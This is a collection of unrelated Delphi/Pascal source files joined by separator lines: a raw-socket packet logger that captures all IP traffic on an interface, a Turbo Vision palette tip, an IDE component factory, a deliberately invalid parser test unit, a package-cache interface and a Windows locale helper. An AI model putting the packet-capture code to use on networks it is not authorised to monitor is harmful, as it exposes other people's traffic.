if p_iphdr.protocol = IPPROTO_ICMP then // is ICMP?
begin
comments := GetICMPType(PByte(PChar(p_iphdr)+len)^);
src_port := '-'; { port does not apply to ICMP }
dst_port := '-';
end
else begin
s_port := 0;
d_port := 0;
if p_iphdr.protocol = IPPROTO_TCP then // is TCP
begin
p_tcphdr := PHdrTCP(PChar(p_iphdr)+len);
s_port := ntohs(p_tcphdr.source);
d_port := ntohs(p_tcphdr.dest);
data := GetDataByOffset(len + GetTHdoff(p_tcphdr^));
end;
if p_iphdr.protocol = IPPROTO_UDP then // is UDP
begin
p_udphdr := PHdrUDP(PChar(p_iphdr)+len);
s_port := ntohs(p_udphdr.src_port);
d_port := ntohs(p_udphdr.dst_port);
data := GetDataByOffset(len + sizeof(THdrUDP));
end;
src_port := IntToStr(s_port);
dst_port := IntToStr(d_port);
comments := GetServiceName(s_port, d_port);
end;
// Log
Log(PadStr(protocol,5)+': '
+PadStr(src_ip, 15)+#9+':'+src_port+#9
+PadStr(dst_ip, 15)+#9+':'+dst_port+#9
+': '+comments+#9+MakeReadable(data));
end;
procedure TMainForm.WMASyncSelect(var msg: TMessage);
//
// This is a procedure for a common case scenario
// Notice that in this application we handle only FD_READ
// We are not interested in any other socket events
//
begin
case LoWord(msg.lParam) of
FD_READ: if Assigned(FAsyncRead) then FAsyncRead(Self,msg.wParam);
FD_WRITE: if Assigned(FAsyncWrite) then FAsyncWrite(Self,msg.wParam);
FD_OOB: if Assigned(FAsyncOOB) then FAsyncOOB(Self,msg.wParam);
FD_ACCEPT: if Assigned(FAsyncAccept) then FAsyncAccept(Self,msg.wParam);
FD_CONNECT: if Assigned(FAsyncConnect) then FAsyncConnect(Self,msg.wParam);
FD_CLOSE: if Assigned(FAsyncClose) then FAsyncClose(Self,msg.wParam);
end;
end;
function TMainForm.StartLogging: Boolean;
VAR
host, errStr: String;
timeout, ret: Integer;
sa: TSockAddr;
dwBufferInLen,
dwBufferOutLen,
dwDummy: DWORD;
addr: u_long;
begin
Result := FALSE; { guilty until proven innocent }
// We must have a valid interface IP address.
//
host := InterfaceComboBox.Text;
if host = '' then
begin
ShowMessage('You must supply a valid IP address!');
Exit;
end;
// Initialize WinSock. We are going to work with raw
// sockets, so we require Winsock ver 2.
//
errStr := InitWinsock(2,2);
if errStr <> '' then
begin
ShowMessage(errStr);
Exit;
end;
try
// Create a raw socket with following attributes:
// Address Family: AF_INET
// Socket Type: RAW, Protocol: IPPROTO_IP
//
FSocket := socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if FSocket = INVALID_SOCKET then
RaiseException('Invalid Socket', WSAGetLastError);
// Set receive timeout to 3 seconds
// SO_SNDTIMEO and SO_RCVTIMEO options set up time-outs
// for the send(), sendto(), recv(), and recvfrom() functions.
// You can set these options on any type of socket in any
// state. The default value for these options is zero,
// which refers to an infinite time-out. Any other setting
// is the time-out, in milliseconds. It is valid to set
// the time-out to any value, but values less than 500 milliseconds
// (half a second) are interpreted to be 500 ms.
//
timeout := 3000;
ret := setsockopt(FSocket, SOL_SOCKET, SO_RCVTIMEO, PChar(@timeout), sizeof(timeout));
if ret = SOCKET_ERROR Then
RaiseException('Setsockopt() failed', WSAGetLastError);
// Convert the dotted IP into a unsigned long
// (Note: bytes will be in network order)
//
addr := ResolveHostAddress(host);
if addr = u_long(-1) then
RaiseException('Interface must be a valid IP address', 0);
// We are about to call bind() - to give a name to our socket.
// Note: if the port is zero, the service provider
// assigns a unique port to the application with
// a value between 1024 and 5000
//
FillChar(sa, sizeof(sa), 0);
sa.sin_family := AF_INET;
sa.sin_addr.s_addr := addr;
ret := bind(FSocket, sa, sizeof(sa));
if ret = SOCKET_ERROR then
RaiseException('bind() failed', WSAGetLastError);
// The WSAIoctl function is used to set or retrieve
// operating parameters associated with the socket,
// the transport protocol, or the communications subsystem.
// SIO_RCVALL control code enables a socket to receive
// all IP packets on the network. The socket handle
// passed to the WSAIoctl function must be of AF_INET
// address family, SOCK_RAW socket type, and IPPROTO_IP protocol.
// The socket also must be bound to an explicit local interface,
// which means that you cannot bind to INADDR_ANY.
//
dwBufferInLen := 1;
dwBufferOutLen := 0;
ret := WSAIoctl(FSocket, SIO_RCVALL,
@dwBufferInLen, sizeof(dwBufferInLen),
@dwBufferOutLen, sizeof(dwBufferOutLen),
@dwDummy, Nil, Nil);
if ret = SOCKET_ERROR then
RaiseException('WSAIoctl() failed', WSAGetLastError);
// Register our asynchronous socket event handler
//
ret := WSAASyncSelect(FSocket, handle, WM_ASYNCSELECT, FD_READ);
if ret = SOCKET_ERROR then
RaiseException('WSAAsyncSelect() failed', WSAGetLastError)
else
Result := TRUE;
except
CleanupWinsock(FSocket);
raise;
end;
end;
function TMainForm.StopLogging: String;
begin
Result := '';
{$I-}
if FLogOpen then
begin
Result := 'Log File: '+FLogName;
CloseFile(FLogFile);
FLogOpen := FALSE;
end;
{$I+}
// Unregister our event handler, and close the socket
//
WSAASyncSelect(FSocket, Handle, WM_ASYNCSELECT, 0);
CleanupWinsock(FSocket);
end;
procedure TMainForm.Log(s: String);
begin
// If "LogToFile" is checked and if the log file
// has not been opened yet, then we have to
// open the file
//
if FileCheckBox.Checked AND NOT FLogOpen then
begin
{$I-}
FLogName := ExtractFilePath(Application.ExeName)+LogFilename;
AssignFile(FLogFile, FLogName);
if FileExists(FLogName) then
Append(FLogFile)
else
Rewrite(FLogFile);
{$I-}
FLogOpen := IOResult = 0;
if FLogOpen then
begin
// Start the log with a time stamp
WriteLn(FLogFile);
WriteLn(FLogFile, 'LOG start: '+FormatDateTime('yyyy-mm-dd hh:nn:ss', now));
WriteLn(FLogFile);
WriteLn(FLogFile, LogCaption);
WriteLn(FLogFile);
end;
end;
// Write to log file, if it's open
if FLogOpen then WriteLn(FLogFile, s);
// No matter what we write to our memo, of course
LogMemo.Lines.Add(s)
end;
procedure TMainForm.AddInterface(value: String; iff_types: Integer);
begin
InterfaceComboBox.Items.Add(value)
end;
procedure TMainForm.FormCreate(Sender: TObject);
CONST valid_types = IFF_UP
OR IFF_BROADCAST
{OR IFF_LOOPBACK - we don't want this one}
OR IFF_POINTTOPOINT
OR IFF_MULTICAST;
begin
ClientHeight := MainPanel.Height;
// This will fill the ComboBox
EnumInterfaces(AddInterface, valid_types);
if InterfaceComboBox.Items.Count > 0 then
InterfaceComboBox.ItemIndex := 0;
FAsyncRead := HandleData;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
// Stop logging and close the socket,
// and the log file, if necessary
//
if FLogInProgress then MainButtonClick(Sender);
end;
procedure TMainForm.MainButtonClick(Sender: TObject);
begin
// One button will serve as our Start and Stop button.
//
if FLogInProgress then
begin
// Change the caption of the button,
// and enable controls on the panel
//
FLogInProgress := FALSE;
TopLabel.Caption := StopLogging;
MainButton.Caption := 'Start';
FileCheckBox.Enabled := TRUE;
InterfaceComboBox.Enabled := TRUE;
Log('Logging stopped by user ['+FormatDateTime('yyyy-mm-dd hh:nn:ss', now)+']');
end
else begin
WarnAboutW2k; // We want Win2K
if StartLogging then
begin
// Change the caption, disable controls on
// the panel, clear the log screen, and
// resize the form to display the log memo
//
FLogInProgress := TRUE;
MainButton.Caption := 'Stop';
FileCheckBox.Enabled := FALSE;
InterfaceComboBox.Enabled := FALSE;
TopLabel.Caption := LogCaption;
LogMemo.Clear;
// is the form currently collapsed?
// if yes, then resize
if ClientHeight = MainPanel.Height then
Height := Screen.Height - Top - 40;
LogMemo.Visible := TRUE;
Log('Logging started ['+FormatDateTime('yyyy-mm-dd hh:nn:ss', now)+']');
end
end
end;
end.
|
(*
Category: SWAG Title: OOP/TURBO VISION ROUTINES
Original name: 0021.PAS
Description: VIEWCOLR.PAS
Author: SWAG SUPPORT TEAM
Date: 05-28-93 13:53
*)
(*
> Does somebody know how to get correct colors in a view.
> That is: Exactly the colors I want to specify without mapping
> on the colors of the views owner?
Now you're getting even more complicated than the actual method of doing it.
(as if that wasn't complicated enough!)
The BP7 Turbo Vision Guide (and I'll assume the TP7 TVGuide as well) do a much
better job at explaning the palette's that the TP6 version. The colors are not
as much maps, as they are indexes. Only the TProgram Object actual contains any
color codes. TApplication, by design, inherits that palette as is. Any inserted
views palette will contain a String of indexes into that palette.
There are a couple of ways to customize your colors. Either adjust where your
current views index points to, or adjust the actual applications palette.
> The manual says that such is done to get "decent colors". But the
> problem is that defining what should be "decent" is to the Programmer,
> not to the designer of a compiler :-)
> How to get just Absolute colors in a view, thats the question.
The easiest method I've found For adjusting colors, is directly adjusting the
actual TApllications GetPalette Method.
Function TMyApp.GetPalette:PPalette;
Const
P: Array[apColor..apMonochrome] of String[Length(CColor)] =
(CColor, CBlackWhite, CMonochrome);
begin
p[apcolor,1] := #$1A; {background}
p[apcolor,2] := #$1F; {normal Text}
p[apcolor,33] := #$74; {tdialog frame active}
p[apcolor,51] := #$1B; {inputline selected}
p[apcolor,56] := #$4F; {history Window scrollbar control}
getpalette := @p[apppalette];
end;
This lets you change and adjust your entire pallete, and have those changes
reflected throughout your entire application... Just consult your TVGuide to
find the offset into the String of the item you want to change.
Heres a nifty Program to display all the colors available, and what they look
like (not only tested.. but used quite a bit!) :
*)
Program Colourtest;
Uses
Crt;
Type
str2 = String[2];
Var
i, y, x,
TA : Byte;
Function Hexit(w : Byte) : str2;
Const
Letr : String[16] = '0123456789ABCDEF';
begin
Hexit := Letr[w shr 4 + 1] + Letr[w and $0F + 1];
end;
begin
TA := TextAttr ;
ClrScr;
For y := 0 to 7 do
begin
GotoXY(1, y + 5);
For i := 0 to 15 do
begin
TextAttr := y * 16 + i;
Write('[', Hexit(TextAttr), ']');
end;
end;
Writeln;
Writeln;
GotoXY(1, 15);
Textattr := TA;
Write(' For ');
Textattr := TA or $80;
Write(' Flashing ');
Textattr := TA;
Writeln('Attribute : Color = Color or $80');
Writeln;
Write(' Press any key to quit : ');
ReadKey;
ClrScr;
end.
|
unit ideSHComponentFactory;
interface
uses
SysUtils, Classes, Dialogs, Contnrs, Menus,
SHDesignIntf, ideSHDesignIntf;
type
TideSHComponentFactory = class(TComponent, IideSHComponentFactory)
private
FComponentList: TComponentList;
FComponentFormList: TComponentList;
function GetComponents: TComponentList;
function GetComponentForms: TComponentList;
function CreateComponent(const OwnerIID, ClassIID: TGUID;
const ACaption: string): TSHComponent;
function DestroyComponent(AComponent: TSHComponent): Boolean;
function FindComponent(const InstanceIID: TGUID): TSHComponent; overload;
function FindComponent(const OwnerIID, ClassIID: TGUID): TSHComponent; overload;
function FindComponent(const OwnerIID, ClassIID: TGUID; const ACaption: string): TSHComponent; overload;
procedure SendEvent(Event: TSHEvent);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;
implementation
uses
ideSHSysUtils, ideSHSystem, ideSHMessages, ideSHMainFrm;
{ TideSHComponentFactory }
constructor TideSHComponentFactory.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FComponentList := TComponentList.Create(False);
FComponentFormList := TComponentList.Create(False);
end;
destructor TideSHComponentFactory.Destroy;
begin
FComponentList.Free;
FComponentFormList.Free;
inherited Destroy;
end;
function TideSHComponentFactory.GetComponents: TComponentList;
begin
Result := FComponentList;
end;
function TideSHComponentFactory.GetComponentForms: TComponentList;
begin
Result := FComponentFormList;
end;
function TideSHComponentFactory.CreateComponent(const OwnerIID, ClassIID: TGUID;
const ACaption: string): TSHComponent;
var
SHComponentFactoryIntf: ISHComponentFactory;
begin
Result := nil;
if IsEqualGUID(ClassIID, ISHServer) or (IsEqualGUID(ClassIID, ISHDatabase)) then
SHComponentFactoryIntf := RegistryIntf.GetRegComponentFactory(StringToGUID(ACaption))
else
SHComponentFactoryIntf := RegistryIntf.GetRegComponentFactory(ClassIID);
if Assigned(SHComponentFactoryIntf) then
begin
Result := SHComponentFactoryIntf.CreateComponent(OwnerIID, ClassIID, ACaption);
end else
begin
if Assigned(RegistryIntf.GetRegComponent(ClassIID)) then
ideSHSysUtils.ShowMsg(Format(SCantFindComponentFactory, [RegistryIntf.GetRegComponent(ClassIID).ClassName, GUIDToString(ClassIID)]), mtWarning);
end;
end;
function TideSHComponentFactory.DestroyComponent(AComponent: TSHComponent): Boolean;
var
SHComponentFactoryIntf: ISHComponentFactory;
begin
Result := False;
if Assigned(AComponent) then
begin
SHComponentFactoryIntf := RegistryIntf.GetRegComponentFactory(AComponent.ClassIID);
if Assigned(SHComponentFactoryIntf) then
begin
Result := SHComponentFactoryIntf.DestroyComponent(AComponent);
end else
ideSHSysUtils.ShowMsg(Format(SCantFindComponentFactory, [AComponent.ClassName, GUIDToString(AComponent.ClassIID)]), mtWarning);
end;
end;
function TideSHComponentFactory.FindComponent(const InstanceIID: TGUID): TSHComponent;
var
I: Integer;
begin
Result := nil;
for I := 0 to Pred(FComponentList.Count) do
if (FComponentList[I] is TSHComponent) and
IsEqualGUID(TSHComponent(FComponentList[I]).InstanceIID, InstanceIID) then
begin
Result := TSHComponent(FComponentList[I]);
Break;
end;
end;
function TideSHComponentFactory.FindComponent(const OwnerIID, ClassIID: TGUID): TSHComponent;
var
I: Integer;
begin
Result := nil;
for I := 0 to Pred(FComponentList.Count) do
if (FComponentList[I] is TSHComponent) and
IsEqualGUID(TSHComponent(FComponentList[I]).OwnerIID, OwnerIID) and
IsEqualGUID(TSHComponent(FComponentList[I]).ClassIID, ClassIID) then
begin
Result := TSHComponent(FComponentList[I]);
Break;
end;
end;
function TideSHComponentFactory.FindComponent(const OwnerIID, ClassIID: TGUID; const ACaption: string): TSHComponent;
var
I: Integer;
begin
Result := nil;
for I := 0 to Pred(FComponentList.Count) do
if (FComponentList[I] is TSHComponent) and
IsEqualGUID(TSHComponent(FComponentList[I]).OwnerIID, OwnerIID) and
IsEqualGUID(TSHComponent(FComponentList[I]).ClassIID, ClassIID) and
(CompareStr(TSHComponent(FComponentList[I]).Caption, ACaption) = 0) then
begin
Result := TSHComponent(FComponentList[I]);
Break;
end;
end;
procedure TideSHComponentFactory.SendEvent(Event: TSHEvent);
var
I: Integer;
BTEventReceiverIntf: ISHEventReceiver;
begin
for I := Pred(FComponentList.Count) downto 0 do
if Supports(FComponentList[I], ISHEventReceiver, BTEventReceiverIntf) then
BTEventReceiverIntf.ReceiveEvent(Event);
for I := Pred(FComponentFormList.Count) downto 0 do
if Supports(FComponentFormList[I], ISHEventReceiver, BTEventReceiverIntf) then
BTEventReceiverIntf.ReceiveEvent(Event);
end;
end.
|
unit infereTypeSimple;
interface
type
TArr = array[0..1] of Integer;
TDatetime = TDatetime;
type
TEnum = (V1, V2);
PEnum = ^TEnum;
var
int: Integer;
enum: TEnum;
enumPtr: PEnum;
arrArr: array of TArr;
d: TDatetime;
implementation
begin
int;
enum;
enumPtr;
arrArr;
1;
$FF;
1.0;
'test';
True;
Nil;
d;
end. |
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Core.Cache.Interfaces;
interface
uses
VSoft.Awaitable,
DPM.Core.Types,
DPM.Core.Package.Interfaces,
DPM.Core.Spec.Interfaces;
type
IPackageCache = interface
['{4285BB27-6E42-4B2A-9B81-B63505ABF934}']
function GetLocation : string;
procedure SetLocation(const value : string);
function GetPackagesFolder : string;
function Clean : boolean;
// creates the folder where the package would reside and returns the path.
function CreatePackagePath(const packageId : IPackageId) : string;
function GetPackagePath(const packageId : IPackageId) : string;overload;
function GetPackagePath(const id : string; const version : string; const compilerVersion : TCompilerVersion; const platform : TDPMPlatform) : string;overload;
//checks if the package is present as a folder, if not there but the file is
//then it will call InstallPackage to extract it.
function EnsurePackage(const packageId : IPackageId) : boolean;
function InstallPackageFromFile(const packageFileName : string; const saveFile : boolean) : boolean;
//gets the package info with dependencies. Calls EnsurePackage.
function GetPackageInfo(const cancellationToken : ICancellationToken; const packageId : IPackageId) : IPackageInfo;
//gets the full package metadata including search paths.
function GetPackageMetadata(const packageId : IPackageId) : IPackageMetadata;
//gets the deserialized dspec file for the package.
function GetPackageSpec(const packageId : IPackageId) : IPackageSpec;
property Location : string read GetLocation write SetLocation;
property PackagesFolder : string read GetPackagesFolder;
end;
implementation
end.
|
{
@abstract Implements @link(NtWindows) that contains some help functions.
}
unit NtWindows;
{$I NtVer.inc}
interface
uses
NtBase;
type
{ @abstract Helper class that contains version, file and locale functions. }
TNtWindows = class
public
{ Checks if the operating system is at least Windows NT.
@return @true if the operating system is at least Windows NT. }
class function IsNt: Boolean;
{ Checks if the operating system is at least Windows Vista.
@return @true if the operating system is at least Windows Vista. }
class function IsVista: Boolean;
{ Checks if the operating system is at least Windows 7.
@return @true if the operating system is at least Windows 7. }
class function Is7: Boolean;
{ Checks if the operating system is at least Windows 8.
@return @true if the operating system is at least Windows 8. }
class function Is8: Boolean;
{ Checks if the operating system is at least Windows 10.
@return @true if the operating system is at least Windows 10. }
class function Is10: Boolean;
{ Checks if the file name is a sub sub path (e.g. Files\Sample.exe)
@param fileName File name to be checked.
@return @true if the file name is a sub path. }
class function IsSubPath(const fileName: String): Boolean;
{ Converts locale code (e.g. en-US) to a Windows locale id (e.g. 1033).
@param code ISO locale id.
@return Windows locale id. }
class function CodeToId(const code: String): Integer;
{ Gets a locale string.
@param id ISO locale id.
@param locale Windows locale id.
@param localeType Type of locale string to retrieve.
@param default Default value to be used if no string was found.
@return Locale string.}
class function GetLocaleStr(
const id: String;
locale, localeType: Integer;
const default: string): String;
{ Gets a display name of a language.
@param id ISO locale id.
@param locale Windows locale id.
@param languageName Language name type.
@return Display name. }
class function GetDisplayName(
const id: String;
locale: Integer;
languageName: TNtLanguageName;
languageNameCase: TNtLanguageNameCase = lcDefault): String;
{ Gets a list of available languages.
@param language Language list.
@param exeFileName Application filename.
@param compatibleOnly Include only compatible languages. Not used with Unicode enabled Delphi (Delphi 2009 or later).
@param checkVersions If true only resource DLLs where version matches the EXE are included.
@param dir If not empty specifies the directory where resource DLLs are.
@return Language cout. }
class function GetAvailable(
languages: TNtLanguages;
exeFileName: String;
compatibleOnly: Boolean;
checkVersions: Boolean;
const dir: String = ''): Integer;
{ Gets a display name of a variant.
@param language Language id.
@param language Variant id.
@return Display name of the variant. }
class function GetVariantName(const language, variant: String): String;
end;
implementation
uses
Windows,
SysUtils,
Classes,
{$IFDEF DELPHIXE}
NtResource,
{$ENDIF}
NtLocalization;
const
LOCALE_SLOCALIZEDDISPLAYNAME = $00000002;
//LOCALE_SLOCALIZEDLANGUAGENAME = $0000006f;
//LOCALE_SLOCALIZEDCOUNTRYNAME = $00000006;
LOCALE_SNATIVEDISPLAYNAME = $00000073;
LOCALE_SENGLISHDISPLAYNAME = $00000072;
type
TEnumSystemLocalesEx = function(
lpLocaleEnumProc: TFarProc;
dwFlags: DWord;
lParam: LParam;
lpReserver: Pointer): BOOL; stdcall;
TLocaleNameToLCID = function(
lpName: PChar;
dwFlags: DWord): LCID; stdcall;
TGetLocaleInfoEx = function(
lpLocaleName: PWideChar;
LCType: LCTYPE;
lpLCData: PWideChar;
cchData: Integer): Integer; stdcall;
resourcestring
STraditionalSort = 'traditional sort';
SInternationalSort = 'international sort';
var
enumSystemLocalesEx: TEnumSystemLocalesEx;
localeNameToLCID: TLocaleNameToLCID;
getLocaleInfoEx: TGetLocaleInfoEx;
FVersionInfo: TOSVersionInfo;
class function TNtWindows.IsNt: Boolean;
begin
Result := FVersionInfo.dwPlatformId = 2;
end;
class function TNtWindows.IsVista: Boolean;
begin
Result := FVersionInfo.dwMajorVersion >= 6;
end;
class function TNtWindows.Is7: Boolean;
begin
Result :=
(FVersionInfo.dwMajorVersion > 6) or
((FVersionInfo.dwMajorVersion = 6) and (FVersionInfo.dwMinorVersion >= 1));
end;
class function TNtWindows.Is8: Boolean;
begin
Result :=
(FVersionInfo.dwMajorVersion > 6) or
((FVersionInfo.dwMajorVersion = 6) and (FVersionInfo.dwMinorVersion >= 2));
end;
class function TNtWindows.Is10: Boolean;
begin
Result := FVersionInfo.dwMajorVersion >= 10;
end;
class function TNtWindows.IsSubPath(const fileName: String): Boolean;
begin
if (fileName = '') or (fileName[1] = '\') or
((Length(fileName) >= 2) and (fileName[2] = ':')) then
begin
Result := False
end
else
Result := True;
end;
class function TNtWindows.CodeToId(const code: String): Integer;
begin
Result := localeNameToLCID(PChar(code), 0);
if Pos('-', code) = 0 then
Result := TNtBase.LocaleToPrimary(Result);
end;
class function TNtWindows.GetLocaleStr(
const id: String;
locale, localeType: Integer;
const default: string): String;
var
l: Integer;
buffer: array[0..255] of WideChar;
begin
if IsVista then
begin
l := getLocaleInfoEx(PWideChar(WideString(id)), localeType, buffer, SizeOf(buffer));
if l > 0 then
SetString(Result, buffer, l - 1)
else
Result := default;
end
else
Result := SysUtils.GetLocaleStr(locale, localeType, default);
end;
class function TNtWindows.GetDisplayName(
const id: String;
locale: Integer;
languageName: TNtLanguageName;
languageNameCase: TNtLanguageNameCase): String;
function LoadResString(id: Integer): String;
var
buffer: array[0..4095] of Char;
begin
Result := '';
SetString(
Result,
buffer,
LoadString(TNtBase.GetResourceInstance, id, buffer, Length(buffer)))
end;
function ProcessNew(localeType: Integer): String; overload;
begin
Result := GetLocaleStr(id, locale, localeType, '');
TNtLanguage.CheckCase(Result, languageNameCase);
end;
function ProcessLegacy(languageLocaleType, countryLocaleType: Integer): String; overload;
var
str: String;
begin
Result := GetLocaleStr(id, locale, languageLocaleType, '');
if TNtBase.LocaleToSub(locale) <> SUBLANG_NEUTRAL then
begin
str := GetLocaleStr(id, locale, countryLocaleType, '');
if str <> '' then
begin
if locale = $040A then
begin
if languageName = lnNative then
str := str + ', Alfabetización tradicional'
else
str := str + ', ' + STraditionalSort;
end
else if locale = $0C0A then
begin
if languageName = lnNative then
str := str + ', Alfabetización internacional'
else
str := str + ', ' + SInternationalSort;
end;
Result := Result + ' (' + str + ')';
end;
end;
TNtLanguage.CheckCase(Result, languageNameCase);
end;
function GetEnglish: String;
begin
if Is7 then
Result := ProcessNew(LOCALE_SENGLISHDISPLAYNAME)
else
Result := ProcessLegacy(LOCALE_SENGLANGUAGE, LOCALE_SENGCOUNTRY);
TNtLanguage.CheckCase(Result, languageNameCase);
end;
function GetNative: String;
begin
if Is7 then
Result := ProcessNew(LOCALE_SNATIVEDISPLAYNAME)
else
Result := ProcessLegacy(LOCALE_SNATIVELANGNAME, LOCALE_SNATIVECTRYNAME);
TNtLanguage.CheckCase(Result, languageNameCase);
end;
function GetLocalized: String;
begin
Result := LoadResString(locale);
if Result = '' then
Result := GetEnglish;
TNtLanguage.CheckCase(Result, languageNameCase);
end;
begin
case languageName of
lnNative: Result := GetNative;
lnLocalized: Result := GetLocalized;
lnBoth: Result := TNtLanguage.GetBoth(GetNative, GetLocalized);
lnEnglish: Result := GetEnglish;
lnSystem:
if IsVista then
Result := ProcessNew(LOCALE_SLOCALIZEDDISPLAYNAME)
else
Result := ProcessLegacy(LOCALE_SLANGUAGE, LOCALE_SCOUNTRY);
end;
end;
var
enumLanguages: TNtLanguages;
enumExeFileName: String;
enumCompatibleOnly: Boolean;
enumCheckVersions: Boolean;
{$IFDEF DELPHI2009}
function CheckStamp(
stream: TStream;
const stamp: TBytes;
start: Integer): Boolean; overload;
function GetByte: Byte;
begin
stream.Read(Result, Sizeof(Result));
end;
var
i: Integer;
position: Integer;
begin
Result := True;
position := stream.Position;
try
for i := 0 to start - 1 do
GetByte;
for i := 0 to Length(stamp) - 1 do
if GetByte <> stamp[i] then
Exit(False);
finally
stream.Position := position;
end;
end;
function CheckStamp(
const fileName: String;
const stamp: TBytes;
start: Integer = 0): Boolean; overload;
var
stream: TFileStream;
begin
stream := TFileStream.Create(fileName, fmOpenRead or fmShareDenyNone);
try
Result := CheckStamp(stream, stamp, start);
finally
stream.Free;
end;
end;
function IsPeFile(const fileName: String): Boolean;
const
IMAGE_DOS_SIGNATURE_C = #$4D#$5A; // MZ
begin
Result := CheckStamp(fileName, BytesOf(IMAGE_DOS_SIGNATURE_C));
end;
{$ENDIF}
function EnumLocalesEx(localeStr: PWideChar; flags: DWord; param: LParam): Integer; stdcall; //FI:O804
var
code: String;
thisFileName: String;
begin
code := localeStr;
thisFileName := ChangeFileExt(enumExeFileName, '.' + code);
if FileExists(thisFileName) {$IFDEF DELPHI2009}and IsPeFile(thisFileName){$ENDIF} then
begin
enumLanguages.Add(code, TNtWindows.CodeToId(code), thisFileName);
end;
Result := 1;
end;
function EnumLocales(localeStr: PAnsiChar): Integer; stdcall;
procedure Process(
ext: String;
const code: String;
id: Integer;
checkIfExists: Boolean);
var
i: Integer;
fileName, resourceFileName: String;
begin
ext := '.' + ext;
fileName := ChangeFileExt(enumExeFileName, ext);
if FileExists(fileName) and
(not enumCompatibleOnly or TNtBase.IsLocaleCompatible(id)) and
(not enumCheckVersions or TNtResource.DoesLocaleVersionMatchFile(fileName)) then
begin
if checkIfExists then
for i := 0 to enumLanguages.Count - 1 do
if enumLanguages[i].Code = code then
Exit;
enumLanguages.Add(code, id, fileName);
Exit;
end;
if ResourceDllDir <> '' then
begin
resourceFileName := ChangeFileExt(ExtractFileName(enumExeFileName), ext);
fileName := ResourceDllDir + '\' + resourceFileName;
if not FileExists(fileName) then
fileName := ExtractFileDir(enumExeFileName) + '\' + ResourceDllDir + '\' + resourceFileName;
if FileExists(fileName) and
(not enumCompatibleOnly or TNtBase.IsLocaleCompatible(id)) and
(not enumCheckVersions or TNtResource.DoesLocaleVersionMatchFile(fileName)) then
begin
if checkIfExists then
for i := 0 to enumLanguages.Count - 1 do
if enumLanguages[i].Code = code then
Exit;
enumLanguages.Add(code, id, fileName);
end;
end;
end;
var
id: Integer;
code, winCode: String;
{$IFDEF UNICODE}
ansiStr: AnsiString;
{$ENDIF}
{$IFDEF DELPHI2010}
primary: Integer;
languageCode: String;
{$ENDIF}
begin
{$IFDEF UNICODE}
ansiStr := localeStr;
id := StrToInt('$' + String(ansiStr));
{$ELSE}
id := StrToInt('$' + localeStr);
{$ENDIF}
{$IFDEF DELPHI2010}
primary := TNtBase.LocaleToPrimary(id);
languageCode := GetLocaleStr(id, LOCALE_SISO639LANGNAME, '');
Process(languageCode, languageCode, primary, True);
code := languageCode + '-' + GetLocaleStr(id, LOCALE_SISO3166CTRYNAME, '');
Process(code, code, id, False);
{$ENDIF}
winCode := GetLocaleStr(id, LOCALE_SABBREVLANGNAME, '');
Process(winCode, code, id, False);
{$IFDEF DELPHI2010}
Delete(winCode, Length(winCode), 1);
if not SameText(winCode, languageCode) then
Process(winCode, languageCode, primary, True);
{$ENDIF}
Result := 1;
end;
class function TNtWindows.GetAvailable(
languages: TNtLanguages;
exeFileName: String;
compatibleOnly: Boolean;
checkVersions: Boolean; //FI:O804
const dir: String = ''): Integer;
begin
if exeFileName = '' then
exeFileName := TNtBase.GetRunningFileName;
enumLanguages := languages;
enumCompatibleOnly := compatibleOnly;
if dir <> '' then
begin
if IsSubPath(dir) then
enumExeFileName := ExtractFileDir(exeFileName) + '\' + dir + '\' + ExtractFileName(exeFileName)
else
enumExeFileName := dir + '\' + ExtractFileName(exeFileName)
end
else
enumExeFileName := exeFileName;
if Assigned(enumSystemLocalesEx) then
begin
enumSystemLocalesEx(@EnumLocalesEx, NT_LOCALE_ALL, 0, nil);
if languages.Count = 0 then
begin
enumExeFileName := TNtBase.GetFolderPath(NT_CSIDL_PERSONAL) + '\' + APPLICATION_DIR + '\' + ExtractFileName(exeFileName);
enumSystemLocalesEx(@EnumLocalesEx, NT_LOCALE_ALL, 0, nil);
end;
end;
// Get legacy named
enumExeFileName := exeFileName;
EnumSystemLocalesA(@EnumLocales, LCID_SUPPORTED);
if languages.Count = 0 then
begin
enumExeFileName := TNtBase.GetFolderPath(NT_CSIDL_PERSONAL) + '\' + APPLICATION_DIR + '\' + ExtractFileName(exeFileName);
EnumSystemLocales(@EnumLocales, LCID_SUPPORTED);
end;
Result := languages.Count;
end;
class function TNtWindows.GetVariantName(const language, variant: String): String; //FI:O804
resourcestring
SModern = 'modern';
SValencia = 'Valencia';
STechnicalSort = 'technical sort';
SPhoneBookSort = 'phone book sort';
SStrokeSort = 'stroke sort';
SRadicalSort = 'radical/stroke sort';
SBopomofoSort = 'Bopomofo sort';
begin
if SameText(variant, 'modern') then
Result := SModern
else if SameText(variant, 'technl') then
Result := STechnicalSort
else if SameText(variant, 'valencia') then
Result := SValencia
else if SameText(variant, 'phoneb') then
Result := SPhoneBookSort
else if SameText(variant, 'tradnl') then
Result := STraditionalSort
else if SameText(variant, 'stroke') then
Result := SStrokeSort
else if SameText(variant, 'radstr') then
Result := SRadicalSort
else if SameText(variant, 'pronun') then
Result := SBopomofoSort
else
Result := variant
end;
var
module: THandle;
initialization
FVersionInfo.dwOSVersionInfoSize := Sizeof(FVersionInfo);
GetVersionEx(FVersionInfo);
if TNtWindows.IsVista then
begin
module := LoadLibrary('Kernel32.dll');
enumSystemLocalesEx := GetProcAddress(module, 'EnumSystemLocalesEx');
localeNameToLCID := GetProcAddress(module, 'LocaleNameToLCID');
getLocaleInfoEx := GetProcAddress(module, 'GetLocaleInfoEx');
end;
end.
|
unit uWizSetupProgramsColumns;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
